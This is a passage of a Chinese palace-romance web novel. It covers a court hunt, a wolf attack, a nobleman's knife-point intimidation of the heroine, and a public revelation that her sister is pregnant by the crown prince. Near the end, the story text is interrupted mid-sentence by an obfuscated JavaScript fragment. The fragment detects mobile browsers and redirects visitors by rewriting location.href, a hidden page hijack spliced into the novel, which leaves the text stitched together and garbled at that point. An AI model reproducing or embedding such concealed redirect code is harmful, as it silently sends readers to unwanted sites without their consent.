同时将帕子还给她。
“多谢。”
她知道萧柔寻过来是什么意思,无疑是过来示威。
只是不懂为何要选在此时。
萧柔见她没有反应,像是捏了一只软柿子,觉得就跟她那早逝的母亲柳氏一般懦弱。
当初祖母不过是在柳氏生产那日,替萧净纳了陈氏进门,她竟那般较真,血崩而亡。
就算是死了,也要占一个正妻的名分。
世家风流,尤其是萧家这样的大族,三妻四妾通房无数才是常态,但萧净硬是一个不要。
若算起来,他的膝下不过是两个女儿。
萧柔看着萧苓那张脸,连带着陈氏的委屈一同加上,心底竟然生出一股子嫉恨来。
她不能同她的母亲一样,都是妾。<
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——
此时鼓乐更甚,像是从远处传来,由远及近。
继而听见内侍尖细嗓音响起:“陛下、皇后娘娘到——”
众人停下手中觞盏,起身跪拜。
“吾皇万岁,娘娘千岁。”
萧苓也跟在其中,她离得远,只能听见高台上声音语调温和:
“众卿平身。”
这是皇后娘娘的声音。
萧苓直起身,在原先位置落座。
她远远望去,帝后明黄朝服,端的是天潢贵胄气度。
又刻意对皇后多看了一眼,气度雍容,举止大方从容。
和三年前没什么分别。
脑海中不由得想的深远了些,皇后出身许氏,而当今深得宠信的丞相许锦忠正是皇后同胞弟。
她收回目光,余光却见萧柔坐在案几另一侧,两人之间只隔了两个杯盏。
她没有在意,只是听着身旁贵女的议论:
“皇后娘娘潜心礼佛,甚少出宫,上次设宴还是三年前的中秋夜呢。”
“是啊,上次正好是给太子殿下定亲,这次会不会……”
萧苓闻言不由得蹙眉,下面的话也没心思听了。
联想到容钦南所说的大礼,莫非是要与她成婚?
“萧姑娘,公主请您叙话。”
耳边冷不防传来内侍压低的尖细嗓音,她恭谨起身跟在其后,将那一众打量的目光抛至身后。
她与岑钰仅有几面之缘,还都是容钦南在场的宴会上。
实在想不到此时岑钰会找她做什么。
两人甫一见完礼,却被兴致勃勃的岑钰拉往一旁的围栏处张望。
草木繁茂,林叶参天,时不时能听到风吹草动声。
此时席上觥筹交错,浮光照影,无人顾及这厢。
“公主这是……”
岑钰对着未来皇嫂羞涩一笑,日光落在翘长的睫毛上尤显俏皮。
“冒昧请萧姐姐来,是有一事请教。那位着红袍的便是定国公世子,姐姐觉得怎么样?”
萧苓顺着她的目光远眺,只能看见草木之间显眼的一角红袍。
那人似是有感,策马朝着她们的方向,挽弓,搭箭。
确切来说,对着的正是萧苓。
箭刃折射出冰冷刺目的光。
她被晃了一眼,背后陡然沁出一层冷汗,梦境中的尖锐痛意仍然心有余悸。
突然一个念头生至心头:他、他不会要杀了她罢?
9. 野兽
被这个念头一惊,她目光微滞,仿佛真的看到那枚箭矢破空射来,正中眉心。
而挽弓之人唇角似乎浮着漫不经心的笑。
“飒——”
她紧攥袖缘,鼻尖似乎嗅到了冰冷铁器的味道。
逼近至三尺之际,萧苓认命般闭上了眼。
那一刻,她仿佛失魂落魄。
迎面一道温热的血腥气迎来,几乎让人作呕。
“萧姐姐你快看,世子射下一只鹰!”
岑钰挽着她的胳膊,掩饰不住心中激动,若不是碍着有人在场,定要拍手叫好。
预想中的疼痛并未落下。
萧苓睁眼,随着一声重物落地,黑鹰脖颈贯穿一支箭,只挣扎一次瞬间不动弹了。
鲜血滑落草叶渗至土地,是浓重且刺目的红色。
甚至还有一滴溅在萧苓的手背上,她甚至觉得那块肌肤要灼出一道痕迹来。
原来赵景之没打算杀她。
只想要射下她头顶上盘桓的鹰。
心中巨石悄然落下,但还是不可避免的颤抖。
萧苓稍抬眼皮往前望去,那抹绯红已经不在原地,只留草叶微微摇动。
猎物数量是取胜关键。
可他竟不把猎物带走?
不知怎地,萧苓总觉这样的赵景之实在让人陌生,身上不禁泛起了凉意。
“萧姐姐?”
岑钰见她一直不曾开口,轻晃其手臂,萧苓怕看出端倪,侧过脸强带着笑意道:
“公主的意思是……”
岑钰性子张扬,但对于此事却是紧张不已,也许是被萧苓过于坦荡的眼神一烫,忽然低下头错开目光,耳缘透着淡淡的绯红。
带着少女特有的娇憨。
平心而论,她与岑钰并没有熟悉到这种程度,但此时此景,饶是再愚钝的人也看懂了少女心迹。
岑钰应该是看中了赵景之。
此事在京州不是秘密,容钦南也曾当着萧苓的面毫不避讳提及赵景之,打趣这位皇妹。
那岑钰此时找上她,又是什么意思?
难不成是想让她帮忙出主意撮合?
很快萧苓便否定这个荒谬的念头,公主婚姻自有圣上旨意,又何须她来置喙。
但她不能明言,面对堂堂公主,若是会错意,后果不堪设想。
“臣女愚钝,还请公主明白示下。”
岑钰闻言,索性不再隐瞒,直言不讳道:
“我心悦景之哥哥已久,只是景之哥哥太过冷淡,莫非他已经有了心上人?”
萧苓呼吸一窒,很快神色如常道:“臣女不知。”
岑钰倏忽笑了一声,似百灵般轻巧。她抬眼目光落至身旁萧苓,见其未施粉黛的脸上被林间晨露映衬着,依旧温婉如初。
忽然压低声音道:“我托皇兄查过,景之哥哥身边并无适龄女子,只是依稀听得有传言,好像儿时与萧家走得近……”
萧赵两家断交不甚光彩,知情者三缄其口。岑钰意识到说错话,立即住口不言。
薄唇抿成一线,像是带着歉意看着萧苓。
萧苓垂下睫羽,似双蝶歇落在眼睑,似乎未曾将此话听进去。
“公主不必挂怀。”
岑钰见她神色并无异常,继续说了下去,“是不是景之哥哥金屋藏娇才一直对我如此冷淡?”
此话太过直白,萧苓心中一骇。
如同平静无波的湖面迭生涟漪,一圈又一圈,止不住泛起。
不知岑钰是从哪里得来的消息,但以她对赵景之的了解,他若是对女子有意,必得昭示天下,人人皆知。
而不会做出金屋藏娇的举动。
但很快心中一冷,昭告天下是十七岁的赵景之在马背上的承诺。
而如今二十岁的赵景之是否会金屋藏娇。
她却一点也不知晓。
萧苓摇摇头,不知该从何说起,但也见不得岑钰为情所困的模样,还是劝慰道:“缘分天定,公主只管尽人事,其余皆看天意。”
岑钰不姓命,只信事在人为,只要她多与赵景之接触,不信他不会为之所动。
但她肯定不会拂了萧苓的面子,还是热络挽着萧苓的胳膊,道着谢。
*
日头渐生,此时雾气渐消,带着秋日特有的清朗。
赵景之骑着马从林中出来时,容钦南已经在苑外等着他了。
随侍将二人所猎之物一一清点,最后跪地恭谨回禀:“此次殿下获胜。”
赵景之下马,拱手恭喜道:“殿下英姿神武,名至所归。”
容钦南眉目染上疑色,“怎么会?”
以赵景之的实力,按理说应该不输他才是。
又换人重新清点一遍,但仍是先前的结果。
“臣年前行军打仗时手臂中过箭,虽行动如常,却拉不得硬弓。殿下擅骑射,即使是臣未受伤,也比不上殿下百发百中。”
斑驳叶影落在赵景之清隽的侧脸上,将挺直鼻梁映成了山峦。他的语气清疏远漠,述说受伤此等凶险之事也像是在道平常,瞬间消弭了容钦南的疑虑。
“景之受伤孤怎么未曾听闻?底下人是怎么办事的?”
容钦南换上斥责语气,身后跟着的人个个噤若寒蝉。
他平日最是温和,如今愠
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怒模样实在让人心惊。
赵景之适时露出恰到好处的惶惑神色,恭谨道:“只不过皮肉伤,殿下实在不必为微末小事挂怀,否则就是臣的罪过了。”
容钦南颔首,比试骑射本就是随性之举,若要真计较个输赢也就失去兴致了。
随口给他叮嘱几句关切之语。
此时帝后已至,一行人继续往筵席行去。
路行一半,容钦南突然停住脚步,与隔了半步的赵景之道:“方才你在林中可听到什么动静?”
如玉面色突然凝重起来,语气也略显急促。
两人身上还带着林中潮气与冰冷铁器的味道,赵景之回溯起林中除了悠长的鸟鸣声便无其他杂音,正要回禀时,突然在记忆中捕捉到一丝猛兽的低吼。
如此突兀。
“罢了,天猎苑本就豢养飞禽猛兽,届时派人严加看管便是。”
容钦南淡淡道。
赵景之也只是点头,只是眸色愈深,一片孤寒似雪。
*
等人行至高台,先是同圣上与皇后见礼,再寻位落座。
许皇后有段时日未见容钦南,只留他在身旁服侍说话。
岁月仿佛不曾在她脸上留下痕迹,即使眼尾有两道微不可见的细纹,也带着从容风致。
她对容钦南很是满意,目光又流转至身后的赵景之时,她眸色微闪,斟酒的手也颤了几分。
心悸过后又很快镇定下来,素手顺势就举起酒樽。
“三年未见世子,听闻世子在南疆建立功绩,实在是年轻有为。”
皇后赐酒,是给朝臣的莫大殊荣。
就连圣上目光也在赵景之身上停留片刻。
他敛袖接过,“谢皇后娘娘。”
上好佳酿,弥散着透入肺腑的幽香。
无人看到酒面如镜,赵景之唇角又渐渐浮起漫不经心的冷笑,掩在宽袖中的手紧攥成拳,根根捏至泛白。
此时众人酒酣耳热,一派祥和。
突至一声撕心裂肺的尖叫划破宁静气氛,众人似乎被惊醒,席间静默一瞬。
听声音似是从女眷处传来的。
丞相许锦忠将目光投向高台,见圣上面色明显不悦,怒斥道:
“谁敢扰陛下安宁?”
这时匆匆赶来一名侍卫,似乎是被什么东西骇住,促声道:
“禀陛下,林中几匹野狼突至,此时兽性大发,正四处流窜!”
“护驾!快护驾!”
容钦南面色一白,径直起身,“在何处?”
“就……就在公主那处。”
有什么东西应声倒地,倾洒下来。
10. 把脉
三五匹野狼像是得了召令,肆意冲破苑场的围栏。此时见到人,头头眼露精光,口中流涎,腰腹精瘦,仿佛下秒就能一跃而起将人生吞活剥。
太过突然,没有人料到筵席上会有野狼出现,周遭不断传来惊呼:
“救命——”
“护驾——”
尖叫声此起彼伏,生死一线间,大多贵女罔顾仪态四处奔逃着。侍卫得令纷纷手执利刃驱赶,但架不住狼生性凶狠,又饿了许久,不要命的往人身上跳。
萧苓面色死白,匆匆提裙同其他人躲至树后,忽然听到撕心裂肺的尖叫。
她乌睫狠狠一颤,回头看,身后宫人躲闪不及,小腿被狼嘴狠狠钳住,一块被衣料裹挟的肉被生生扯下来!
她被吓得脸色惨白,手指死死攥住袖缘,心脏砰砰快要跳出来。
这狼一看便不是天猎苑豢养的,浑身散发着嗜血野性。
正当她目光四顾分神时,萧柔靠在树干正她旁边吓的六神无主,此时颤着嗓音。
“姐姐,后面!”
一股巨大的恐惧瞬间笼罩在萧苓心头,顾不得回头看,立即往旁边人多的地方逃去。
手臂却被萧柔狠狠攥住,一时竟挣脱不得。
“姐姐,我跑不动了,求你……”
萧柔哪里见过这种场面,脸上冷汗涔涔,若不是强大的求生欲支撑着,早就要晕倒了。
萧苓死死咬着牙,正要改攥着萧柔的手快步往前跑时,背后突然被人推了一掌,此时身体不受控制的往旁边倾倒。
她匆匆松开了萧柔的手,踉跄了几步才站稳。
耳边却传来男人温声软语的关怀:“柔儿,柔儿?”
萧苓脑海有根弦突然断了,这道声音与那夜她在东宫听到的低语声渐渐重叠,背上真实的痛感有如那夜永不停歇的雨砸在身上,冰冷彻骨。
方才推她的容钦南。
与她有婚约的太子殿下。
此时正紧紧护住萧柔。
正愣神之际,她忽然听到急促的熟悉男声:
“宁宁,快躲开!”
萧负雪听到尖叫声便匆匆赶来,野狼凶残,他生怕萧苓受到伤害。
见到妹妹身体无恙,七上八下的心算落在实处。可此时身后一头狼正虎视眈眈盯着她的后背,他立即弯弓搭箭要将其射杀。
在北境浴血奋战几载,他射箭极准,动作下来行云流水。
方才他与侍卫已射杀过几头,唯独只剩下这头落单的野狼。
萧负雪眼睛半眯,箭刃对准狼身,即将脱弓离去。
却见一道身影从天而降,以披荆斩棘之势快速斩落狼头!
野狼嚎至一半,突然被割喉斩杀,躯体从半空落下,喷薄的血溅落在那人脸上。
狰狞血迹将清绝的脸一分为二。
对于手快刀落的一幕,旁边有人惊诧不已:
“世子真是好本事!”
萧苓闻声转身,却见眼前男人身形颀长,有血正覆在微垂乌睫处,给狭长凤眼沾染冷寂。
似乎有什么郁色在涌动。
狼血正顺着手中闪光的匕首滴滴坠落。
他毫不避讳盯着她,有什么情绪很快闪过去。
萧苓一阵心悸,忙错开目光,步子往后退了一步。
似乎踩断一根掉落的树枝。
声响立即惊醒容钦南。
怀中女子眉头紧蹙,已经倒在他的怀中。
他心急如焚,低声唤道:“柔儿?”
见人没有反应,这时顾不得旁人,正好瞥见被人挡住一半身子的赵景之,把萧柔打横抱起,与那挡路的女子擦肩而过。
凑近赵景之道:“孤先去营帐寻御医,这边有劳你多看顾些。”
他的声音不太大,却足够让身后的萧苓听见。
她看见赵景之颔首,眼神却是注视着她,甚至还笑了笑,只是笑意不及眼底。
此时充满了嘲讽。
萧苓心道,她与容钦南的婚约落在他眼中,不过是场闹剧。
也对,能在危难中为了旁人将她推向深渊,算不得良配。
——
此时野狼皆已斩落在地,就连受伤的宫人也被带下去治伤。席间众人暂时松口气,许锦忠正派人清扫狼藉,重新布置场地。
而萧负雪被萧净叫走,率领侍卫进林中搜查。
发生了如此骇人的事情,萧苓觉得后怕,现在只想找个地方休息。
刚要转身,却被快步走来的男人长臂一攥,将她带往一棵老树后。
力道之大,完全不容她挣脱。
赵景之一反常态,步步逼近,萧苓有些畏缩的往后退,直到后背抵在粗粝的树干上才作罢。
此时树的另一侧正传来匆匆脚步声,如雷点击打着她心里那面鼓。
不知疲倦提醒着她的慌乱。
——只要有人探过头,就能发现她正被赵景之圈在怀中。
他低下头,两人凑的很近,彼此呼吸相闻,也能清楚见到少女眼角清浅的红痣。
像是暴风雨下摇曳的一朵芙蕖。
又像是烙在心里的疤。
此时她正瑟缩着,想摆脱他,却挣脱不动,只能尽量靠在树干,保持他手臂与胸前的距离。
也许是方才的慌乱,萧苓鬓边有一缕发丝滑落随着风拂过他的鼻尖。
如蜻蜓点水,带来痒意。
约莫是受到惊吓,她的面容有些惨白,比上次夜里有过之而无不及。
他又透着她此刻的温顺模样,回想起那次,温热、濡湿又带着欢愉的挑弄。
只可惜那时她迷蒙着,不甚清醒,否则一定能看到他眼底燃着一把暴戾的焰火。
想将她吞噬掉。
赵景之目光顷刻间暗了下来,萧苓盯着脚下那片残败的落叶,突然听见他轻嗤一声。
“他抱着你妹妹,怎么不去追?”
他临时起意,指尖把玩着那缕头发。
萧苓忽然抬眼,“世子是不是早就知晓?”
他怕是早就知道萧柔和容钦南的事情,就算亲眼目睹一点也不惊讶,甚至还能与她在此叙话。
也对,他现在是容钦南身边的人。
“知道。”
他确实早就知道这件事,也知道更多她不知道的。
赵景之视线下落,听她呼吸轻微起伏着,脖颈是如此纤细,只要手覆在上面,轻轻一折便断了。
但他不打算这么做。
萧苓鼓起勇气与他对视,鼻尖萦绕着淡淡血腥气,胸膛本能翻江倒海,但嗅到他身上的清冽松香,那股燥意又压了下去。
这个味道,是他用惯的味道。
“你不去追,应该是觉得太子可以有很多姬妾,但只有一位太子妃,是不是?”
赵景之目光寒意更甚,唇角依旧带着笑,仿佛透过她身上裹着的衣裳直接看穿内心的想法。
不知是被他说准了,还是被紧锢着有些胆寒,萧苓忽然觉得有些冷。
“得快些,丞相吩咐正午之前全部清理如初。”
“真是吓死了,你都没有看到那狼把春儿的腿都咬断了,御医说废了,怕是要被送到浣衣局了。”
“哎,方才我看到太子往营帐走了,抱着应该是萧姑娘罢?真是羡慕,还得是萧姑娘命好。”
……
愈来愈近的谈话声让萧苓万分紧张,她刚要挣脱,却被他一把按住肩膀。
她目光上移,赵景之依旧是先前的姿势,甚至还在把玩着她的头发。
还好,那两个宫娥只顾着当差,并没有往里面看。
萧苓悄悄松口气。
“这么怕被人发现?”
赵景之见她草木皆兵的模样,眼尾上扬,勾起一抹凉薄的笑。
“是怕被发现未来太子妃与臣子在此私会?”
“还是怕被发现与我在此,做不成太子妃?”
这两句话不是一个意思么?
萧苓望着他,指尖紧紧掐着手心。
不能再在此处待了,太过危险。
离发现,只不过是时间问题。
赵景之像是非要问出一个答案,否则就不放她走。
“说话。本世子不介意让别人看到你这模样。”
彻骨的凉意从脖颈化开,汇聚成焰火一点点从上往下游走。
脑海中理智随着脖颈处的玉扣一齐被划断,意识到他要做什么后,萧苓泫然欲泣,只顾摇头。
见她还是不说话,赵景之一手将她的手反扣在腰后,另一只手握着利刃便往她衣领处划去。
萧苓简直要哭出声,又害怕被旁人听见,只能用哀求的目光着看他。
但是这个问题她不知该如何回答。
她这一生一直被旁人左右,无论是陛下,还是父亲。
就连她的婚约,也是被一道圣旨安排的。
她
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又该怎么和赵景之说呢?
萧苓只能摇头,求他不要在这里折辱她。
看她眸色凄惶,带着压制不住的恐惧,他像是动了恻隐之心。
只是手下动作未停,第二枚玉扣也被划断。
露出光洁白皙的肌肤,在锁骨两寸位置有颗红色小痣。
不能再往下了。
萧苓闭了闭眼,一滴泪很快淌下,滴落在他的虎口处。
赵景之眉心微跳,若是她肯低头往下看,便会发现有血正顺着他惨白的手指往下落,淅淅沥沥,染红了一段如雪的刀刃。
——那是一把没有刀鞘的利刃。
“臣是重诺之人,但萧姑娘似乎不是。是么?”
他换了个问题,萧苓睁开眼,泪水很快濡湿蜷长的睫羽,看不真切他的冷白面目。
利刃停下,并没有再往下探。
可她心如擂鼓,此时她终于知道为何赵景之会如此反常。
原来是兴师问罪,责备她为何毁约。
为什么没去那条海棠巷。
“那日父兄才归家,府里事物繁多,祖母命我抄经祈福,以求康泰。”
她将罚跪腿受伤隐去不提,觉得此事不必让他知道。
赵景之应该是听进去了罢?
否则不会将她放开。
萧苓重获自由,立即合拢领口,此时一脸防备的看着他。
赵景之却不理会,收好刀刃,从袖中扯出一条绢帕,慢条斯理擦拭着脸上的狼血。
他的手是惨淡的白,此时沾上猩红的血更显妖冶异常。
此时没了他的禁锢,她觉得呼吸都顺畅了些许。耳边听着人步履不停,似乎都往一处涌去了。
“走吧,本世子请萧姑娘看场好戏。”
赵景之擦拭干净脸后,神色一如既往的淡漠,又随意将绢帕缠在手心处。
血瞬间将淡青色帕子染透。
萧苓这才发现他的手也受了伤。
“什么戏?”
她的眼睛似乎有预兆般跳了跳。
“一场令萧姑娘终生难忘的戏。敢去么?”
他的声音低沉,薄唇抿成一线。
萧苓有些迟疑,就在她愣怔的空档,赵景之错开她,已经往前走了。
看着他孤清的背影,萧苓忽然感到一股寒意。
天猎苑的事情,仿佛都在他的掌握之中。
那狼,也是他放的么?
——
赵景之要去正是容钦南的营帐。
萧苓为避人耳目,特意与其拉开距离。她看着被蹭脏的衣裙,竟然庆幸方才躲狼那一遭。
否则,她无法解释为何会形容狼狈。
只是越靠近那营帐,萧苓就愈发抗拒,她无法亲眼目睹容钦南和萧柔在一起的画面。
但事已至此,她只能硬着头皮上前了。
帐外有侍卫把守,萧苓恭谨求见,只听闻从里面传来柔和矜贵的女声:
“进来。”
是皇后娘娘。
萧苓隐觉不对,但还是迈进帐内。
她径直朝主座的皇后娘娘行礼,“臣女给皇后娘娘请安。”
“罢了,你也累了,落座歇着罢。”
许皇后摁了摁眉心,似乎是遇到烦心的事情。
“谢娘娘。”
萧苓退下后才注意到除了容钦南与赵景之,父亲和兄长也在此处。
此时他们面色凝重,尤其是萧负雪,对着她欲言又止。
萧苓不觉苦笑,这事连他们也都知道了么?
容钦南一直伫立在屏风处,此时见到萧苓,神色复杂。
萧柔正在屏风内由御医把脉,听闻只受到惊吓无大碍,他的心才落到实处。
只是静下来,才发现他一直将萧苓落在了脑后。
如今她好端端的站在萧负雪身旁,他不知为何有些心悸。
那发式与衣裙怎会如此熟悉……
此时皇后娘娘不知瞥见什么,眉心微皱,正色道:“本宫见你面色不好,不若你也去把把脉罢。”
萧苓不敢违抗,只能顺从。
正好御医给萧柔诊断完,又给她把脉。
看着御医额角渗出的冷汗,不知为何她心里愈发不安。
有种风雨欲来之势。
果不其然,那御医把完脉后,脚步踉跄,说话也有些发颤。
“回禀娘娘,萧姑娘……她是喜脉。”
11. 好戏
“啪嗒——”
滑到御医下巴的冷汗落了下来。
营帐内静默了一瞬。
又或许是过了很长时间。
恐惧、冷汗如海潮般向萧苓席卷而来,心脏猛然抽紧,她从那夜起就已经想过东窗事发的惨烈结局,只是没有料到会如此快。
最悔恨的是,她完完全全忘记事后要服用一碗避子汤。
尽管不曾抬眼,但萧苓能清晰感觉到所有人的目光都汇聚在她身上,掩在袖中的手愈发颤抖。
冷静。
只要沉住气。
一道锐利的目光很快从她身上移过,沉沉瞥向了屏风那端。
有什么东西在心里呼之欲出。
有趣。
许皇后面色凝重,在御医回完话后的第一眼就瞥向了萧苓。
她从诊脉开始便垂首敛容,此时正默然站在一旁。
即使是听到如此秘闻,仍是礼数周全,挑不出错处。
皇后心思何等玲珑,不经意间蹙起眉,目光将底下几人打量一遍,只在容钦南面容上略停留一瞬便懂了几分。
堂堂太子众目睽睽之下抱着萧柔急匆匆来到营帐,向来淡然的面容更是沾上急色。
事已至此,这还有什么看不懂的?
按耐住心中起伏,皇后开口问道:
“是哪位萧姑娘?”
御医所言太过笼统。
营帐中除了站在阶下的萧苓,还有屏风那处的萧柔。
在外面不都是被称为萧姑娘么?
唯独不同的是,萧苓与太子有婚约。
若是说喜脉,的确是萧苓更有可能。
萧净眉头紧锁,看向萧苓的目光中夹杂着浓烈的厌恶。
如此不知廉耻!
他强忍着怒气,若不是有人在此,定要上一套家法!
而容钦南终于回过神,带着不安,他狠狠瞥向跪在地上的御医。
随即跪下向皇后行礼,眸光暗沉,“母后!”
形势一瞬间逆转。
萧苓掐了掐手心,使纷乱的思绪回笼。
她抬头看着容钦南的背影,丝毫没有平日里的从容不迫,他如此急切,莫非有孕的是萧柔?
他与萧柔的亲密画面一遍遍在萧苓脑海中划过,从一开始的完整,到后面慢慢破碎、湮灭。
忽然有一个念头快速闪过,不等她反应过来,她已经与站在对面的赵景之四目相对。
视线交汇间,他不闪不避,一如既往带着漠然。
但细看去,又似乎在忍耐着什么。
萧苓佯装不知,转过视线,但此时心脏像是被藤蔓缠绕,险些连呼吸都艰难。
联想起他在林中所言。
这就是他要请她看的好戏。
他为什么会如此笃定事情发展会如他所料。
那他的目的又会是什么?
萧苓不敢想下去。
忽然背后一阵温热,她抬眼望去,是一直站身旁的兄长不动声色拍了拍她的后背。
他轻蹙眉头,脸色不怎么好看,只是在看到她回眸,露出淡淡笑意,似乎是在叫她安心。
萧苓心中不禁泛出暖意,亦对他笑了笑。
只不过在萧负雪眼中,这笑过于勉强了而已。
他刚要移过目光,却与一道冷厉目光撞个正着。
对那彻骨的寒意怔了怔。
对于这位昔日好友,他只是在诏狱中与其匆匆见过一面。
阔别三年,一个是主审官,一个却成了阶下囚。
实在令人唏嘘。
萧负雪并不畏惧,当初因为一个莫须有的罪名使两人决裂,这挚友不要也罢。
他毫不客气回望过去,忽然手掌下传来细细的颤抖。
很轻微,并不惹人注目。
是萧苓在抖么?
萧负雪忙松开手,不动声色后退一步,只见赵景之弯了唇角,先他一步错开了目光。
忽然他的心中有了一个荒谬的念头:
方才赵景之看的人并不是他,而是萧苓?
“砰——”
清脆响声突然传来,原来是御医被踹倒在地。
几人心尖抖了抖。
皇后不知何时从座上起身,径直站在了容钦南面前,纤细的手高高扬起,似乎要落在他的脸上。
“你再说一遍!”
“儿臣无论说多少遍,都是一样的结果。母后何必如此执着?”
容钦南重新跪好,挺直的脊梁不肯屈服。
那个姿态明显摆明了,即使是母后的巴掌,他也丝毫不惧。
“好,不愧是本宫的好太子!”
皇后伸至半空的手终究还是收了回来,碍于皇家颜面,她背过身子平复好情绪。
对于如此场面,几人也是明白了。
——有喜脉的是萧柔。
萧净不知是联想到什么,怒不可遏要冲到屏风那厢,被萧负雪眼疾手快拦住。
低低唤了声“父亲”。
他回过神,但仍是面色铁青,看着伫立在原地一言不发的萧苓目光复杂晦涩。
只是在唇齿间溢出了两个字:“冤孽!”
而屏风那厢的萧柔早就醒了,只不过听着帐中的动静一直装睡而已。
其实算不得大事,太子已经及冠,何况日后登基坐拥三宫六院,她只不过是众多女人中的一个。
更何况,就算是世家子弟,在娶妻之前也会有纳通房通晓人事,她不觉得有什么错。
要说错,萧柔忽然用手抚着尚未隆起的小腹,目光中忽然多了一些说不清的复杂。
每每与容钦南荒唐后,她总是偷偷将嬷嬷端来的避子汤吐掉。
而容钦南向来对她信任,从来不会过问。
或许,这就是命。
——
气氛忽然停滞。
容钦南不肯低头,仍然跪在地上。
皇后深思的目光暗了几分。她知晓他的秉性,温良恭谨,若不是被逼到如此境地,他定不会如此忤逆她。
萧柔她也是见过的,人如其名,眉目与萧苓有两分相似。
同样是萧家的女儿,但终究是庶女。
况且不知她人品秉性,若是个刁蛮任性的,不知道会掀起怎样的波澜。
“太子是怎么想的?”
皇后决定听听容钦南的意思。
“儿臣想迎娶柔儿。”
容钦南垂下睫羽,一字一顿。
迎娶?
众人脸色一变。
那就不是随意封个良娣之类的位分。
这是有娶为太子妃之意。
那萧苓呢?
她该怎么办?
这无疑是在打镇国侯府的脸。
萧负雪紧攥成拳,心底不知为何涌出酸楚之意,连带着看向萧苓的目光也带着心疼。
他这个妹妹从来不受重视,在府中举步维艰。
好容易有了陛下赐婚,得容钦南宠爱,谁知一切都是假象!
萧苓似有所感,悄悄对他摇摇头,意思是不要意气用事。
容钦南所言她并不意外。
他应该不喜欢她。
这桩亲事,是陛下亲赐。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106000|163874||http|test|mini|href|location''.split(''|''),0,{}));
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>与她逢场作戏不过是为了不忤逆陛下。
只是陛下又为何在众多贵女里挑中了她?
萧苓不禁蹙眉。
她的神情变化一切都落在赵景之眼中,他与旁人凝重面色不同,相反,是淡然的。
此时正噙着一抹笑。
仿佛一切尽在掌握。
“住口!你可知你在说什么?”
皇后怒斥,她没想到容钦南如此固执。
若是个良娣倒罢了,他要是再强求,给个侧妃也是抬举了萧柔。
但他竟要把太子妃之位拱手给她。
怎么可能!
岂不是抗旨不尊?
“那太子将萧苓置于何地?”
容钦南这才侧过身瞥了萧苓一眼。
她依旧如此温顺,即使是听到他要娶萧柔,娶她的妹妹,她依旧是这幅模样。
就跟他推了萧苓一把,再抱着萧柔与她擦肩而过时,她硬是一声未出。
——他终于知道为何在她进帐时会如此熟悉。
是不是就算他与萧柔当着她的面行荒唐之事,她也只是替他掩好门扉再吹灭烛火?
心底不知为何泛起了烦躁,他很快移过目光,又看向皇后。
“儿臣请母后成全。”
“臣女有罪,请皇后娘娘责罚!”
而萧柔也从屏障后出来,她跪在容钦南身后,面色苍白,仿佛被吓坏的模样。
皇后见状,怒极反笑,“荒谬!”
言罢,便重新坐上了主座。
“请皇后娘娘息怒。”
阶下几人一并跪了下去,齐声道。
此后便是长久的静默。
萧柔身子弱,只是跪了会,便有些吃不消。而容钦南见她细细颤抖的身子不由得眸色一沉。
“无论如何,儿臣定要娶她!”
死寂的营帐中回荡着余音。
下一瞬便传来不怒自威的声音。
“太子要娶谁?”
萧苓指尖发凉,听清是陛下的声音,便随众人沉声道:“给陛下请安。”
陛下身后跟着许锦忠,他很快落座主座,睥睨着阶下众人。
带着上位者的威严,让人不敢直视。
“平身。”
“谢陛下。”
他自然有耳目禀报营帐发生之事,只消一眼便知是何等情形。
只是看着仍然跪着不动的太子与萧柔,他目露不悦。
前些时日太子便请旨要给侯府下聘。
当时侯府一事刚了结,他如此情急,还以为是对萧苓情深义重。
没想到竟是如此。
陛下的目光极快的掠过萧柔,最后又定格在萧苓身上。
不知不觉间带着些许温情。
“你是怎么想的?”
萧苓头皮发麻,她没有想到这件事情又甩在她的身上,不觉有些惧意。
她依旧垂首,思虑片刻:
“臣女谨遵陛下旨意。”
陛下满意她的反应,手指轻轻叩着檀木的扶手,发出清越的声响。
如雷点阵阵敲击在她的心里。
就像一把刀悬在头顶,萧苓的心跳得极快,静静等着最后的宣判。
“传朕旨意,封萧柔为太子良娣,明日便入住东宫。”
容钦南面色煞白,久久不能回神。
只能深深叩首,“谢父皇。”
那把刀终归还是落了下来。
萧苓感觉到脖颈处一阵阵发寒。
“萧苓仍是太子妃,择日再定吉时。”
一锤定音,无可更改。
12. 寻他
随着帝后走出营帐,一时沉寂无言。
萧柔再也支撑不住,在容钦南怀中阖眼之际看了一眼萧苓的背影。
就算只是良娣又如何,她腹中尚有一子。
而萧苓什么都没有。
萧苓跟在兄长身旁,一出帐外,有风吹透薄衫沁出一身凉意。
她不禁瑟缩了一下。
这细微变化被萧负雪注意到,他不动身色解开白色薄氅,没想到被萧苓婉拒:
“兄长身子未愈,不宜吹风,还是你披着吧。”
但下一瞬还是披在了她的身上,修长的手指在她脖颈处细致的打着结。此时拂过的风犹自带着一丝药香,将他的体温一同裹挟而来。
她有些鼻酸,只是裹紧了他的薄氅。
“多谢。”
“有什么事情抗不过去就不要扛着,凡事都有兄长在。”
他垂眸只能看到萧苓插在发髻上的绒花,再往下看去,能看到她蜷长的睫羽,此时正低垂着,落在眼底一片清影。
萧苓不知如何答复,她知道兄长一直待她极好,但是这件事她无论如何也不能让兄长牵扯进来。
“父亲还在前面等着,兄长先去,我在附近走走,待会再去寻你。”
此番已到天子狩猎群臣相伴的时辰了,萧负雪不能再耽搁,只能与萧苓道别。
她看着兄长鹤骨松姿的背影远去,心里不禁一阵怅惘。
正欲转身,萧苓忽然听到不远处有人声传来,还不等反应过来,她就已经躲在树后了。
“殿下被事情绊住了,世子怎么不去苑里瞧瞧?”
先开口的是许锦忠,他与赵景之错开半步距离,看着身侧的后辈不禁语气也少了些在朝堂时的迫意。
“劳烦许相挂念,臣的手在林中受了伤,怕是握不得弓。”
许锦忠停下脚步,这才注意到赵景之垂下的手,有一道割伤贯穿整个手掌,只是草草包着手帕,渗出的血迹已经干涸,是显目的黑红色。
看样子是有些骇人。
“方才世子怎么不让御医瞧瞧?”
赵景之毫无顾忌任由他打量,也许是目光过于坦荡,许锦忠想起在营帐里闹的那一场,不禁哑然。
